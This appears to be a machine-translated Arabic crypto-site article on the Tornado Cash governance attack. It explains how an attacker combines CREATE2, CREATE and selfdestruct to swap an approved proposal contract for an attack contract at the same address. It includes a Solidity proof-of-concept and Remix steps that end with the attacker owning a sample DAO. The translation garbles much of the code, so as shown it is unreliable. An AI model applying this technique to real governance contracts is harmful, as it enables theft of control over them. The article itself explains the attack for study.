هجوم حوكمة الإعصار: كيفية نشر عقود مختلفة على نفس العنوان

منذ حوالي أسبوعين (20 مايو) ، تعرض بروتوكول خلط العملات المعروف Tornado Cash لهجوم إداري ، واكتسب المخترقون السيطرة (المالك) لعقد إدارة Tornado Cash.

تكون عملية الهجوم على النحو التالي: يقدم المهاجم أولاً عرضًا "عادي المظهر" ، بعد تمرير الاقتراح ، ويدمر عنوان العقد الذي سيتم تنفيذه من خلال الاقتراح ، ويعيد إنشاء عقد هجوم على العنوان.

بالنسبة لعملية الهجوم ، يمكنك عرض تحليل مبدأ هجوم العرض النقدي الخاص بـ SharkTeam [1] 。

مفتاح الهجوم هنا هو نشر عقود مختلفة على ** نفس العنوان **. كيف يتم تحقيق ذلك؟

خلفية معرفية

هناك نوعان من أكواد التشغيل في EVM لإنشاء العقود: CREATE و CREATE2.

إنشاء كود التشغيل

عند استخدام Token () جديد لاستخدام رمز التشغيل CREATE ، فإن وظيفة حساب عنوان العقد الذي تم إنشاؤه هي:

العنوان tokenAddr = bytes20 (keccak256 (senderAddress، nonce))

يتم تحديد عنوان العقد الذي تم إنشاؤه من خلال ** عنوان المنشئ ** + ** المنشئ Nonce ** (عدد العقود التي تم إنشاؤها) ، نظرًا لأن Nonce يزيد دائمًا بشكل تدريجي ، عندما يزيد Nonce ، يكون عنوان العقد الذي تم إنشاؤه مختلفًا دائمًا.

شفرة التشغيل CREATE2

عند إضافة رمز مميز جديد الملح {salt: bytes32 ()} () ، يتم استخدام كود التشغيل CREATE2 ، ووظيفة حساب عنوان العقد التي تم إنشاؤها هي:

العنوان tokenAddr = bytes20 (keccak256 (0xFF ، senderAddress ، salt ، bytecode))

عنوان العقد الذي تم إنشاؤه هو ** عنوان المنشئ ** + ** الملح المخصص ** + ** الرمز الثانوي للعقد الذكي الذي سيتم نشره ** ، لذلك لا يمكن استخدام سوى نفس الرمز الثانوي ونفس قيمة الملح إلى نفس عنوان العقد.

فكيف يمكن نشر عقود مختلفة في نفس العنوان؟

طريقة الهجوم

يستخدم المهاجم Create2 و Create معًا لإنشاء العقد ، كما هو موضح في الشكل:

رمز مشار إليه من:

استخدم أولاً Create2 لنشر عقد Deployer ، ثم استخدم Create in Deployer لإنشاء اقتراح العقد الهدف (لاستخدام الاقتراح). يحتوي كل من عقود الناشر والاقتراح على تطبيقات للتدمير الذاتي (التدمير الذاتي).

بعد تمرير الاقتراح ، يدمر المهاجم عقدي الناشر والعرض ، ثم يعيد إنشاء الناشر بنفس الشريحة. يظل رمز الناشر الثانوي كما هو ، والشريحة هي نفسها ، لذا فإن عنوان عقد الناشر نفسه كما كان من قبل يتم الحصول عليها ، ولكن في هذا الوقت الناشر يتم مسح حالة العقد ، ويبدأ الرقم غير المتزامن من 0 ، لذلك يمكن إنشاء هجوم عقد آخر باستخدام رقم nonce هذا.

مثال رمز الهجوم

هذا الرمز من:

// SPDX-License-Identifier: MIT صلابة براغما ^ 0.8.17 ؛ عقد DAO { اقتراح البناء { هدف العنوان ؛ وافق منطقي منطقي } العنوان العام للمالك = msg.sender ؛ اقتراح [] مقترحات عامة؛ وظيفة الموافقة (العنوان الهدف) الخارجية { يتطلب (msg.sender == مالك ، "غير مخول") ؛ comments.push (Proposal ({target: target، Approved: true، uted: false})) ؛ } الوظيفة ute (uint256 offerId) الدفع الخارجي { اقتراح تخزين الاقتراح = العروض [proposalId] ؛ تتطلب (مقترح موافق عليه ، "لم تتم الموافقة عليه") ؛ تتطلب (! مقترحًا مكتوبًا ، "uted") ؛ مقترح. محسوب = صحيح ؛ (منطقي طيب) = اقتراح.target.delegatecall ( abi.encodeWithSignature ("uteProposal ()") ) ؛ تتطلب (حسنًا ، "فشل مندوب الاتصال") ؛ } } اقتراح العقد { سجل الأحداث (رسالة سلسلة) ؛ الوظيفة uteProposal () خارجي { انبعاث السجل ("الكود المستثنى المعتمد من قبل DAO") ؛ } وظيفة طوارئ توقف () خارجي { التدمير الذاتي (مستحق الدفع (العنوان (0))) ؛ } } هجوم العقد { سجل الأحداث (رسالة سلسلة) ؛ العنوان العام للمالك؛ الوظيفة uteProposal () خارجي { انبعاث السجل ("الكود المستثنى غير معتمد من قبل DAO :)") ؛ // على سبيل المثال - عيّن مالك DAO على المهاجم المالك = msg.sender ؛ } } الناشر العقد { سجل الأحداث (عنوان العنوان) ؛ وظيفة نشر () خارجي { bytes32 salt = keccak256 (abi.encode (uint (123))) ؛ العنوان addr = address (new Deployer {salt: salt} ())؛ انبعث سجل (العنوان) ؛ } } الناشر العقد { سجل الأحداث (عنوان العنوان) ؛ وظيفة نشرProposal () خارجي { العنوان addr = address (new Proposal ()) ؛ انبعث سجل (العنوان) ؛ } وظيفة publishAttack () خارجي { عنوان العنوان = العنوان (هجوم جديد ()) ؛ انبعث سجل (العنوان) ؛ } وظيفة قتل () خارجي { التدمير الذاتي (مستحق الدفع (العنوان (0))) ؛ } }

يمكنك استخدام هذا الرمز لتصفحه بنفسك في Remix.

  1. قم أولاً بنشر DeployerDeployer ، قم باستدعاء DeployerDeployer.deploy () لنشر Deployer ، ثم قم باستدعاء Deployer.deployProposal () لنشر Proposal.
  2. بعد الحصول على عنوان عقد اقتراح الاقتراح ، قم ببدء اقتراح إلى DAO.
  3. استدعاء Deployer.kill و Proposal.emstractStop على التوالي لتدمير الناشر والاقتراح
  4. قم باستدعاء DeployerDeployer.deploy () مرة أخرى لنشر Deployer ، واستدعاء Deployer.deployAttack () لنشر Attack ، وستكون Attack متسقة مع الاقتراح السابق.
  5. عند تنفيذ DAO.ute ، يكون الهجوم قد حصل على إذن المالك لـ DAO.
شاهد النسخة الأصلية
المحتوى هو للمرجعية فقط، وليس دعوة أو عرضًا. لا يتم تقديم أي مشورة استثمارية أو ضريبية أو قانونية. للمزيد من الإفصاحات حول المخاطر، يُرجى الاطلاع على إخلاء المسؤولية.
  • أعجبني
  • تعليق
  • مشاركة
تعليق
0/400
لا توجد تعليقات
  • تثبيت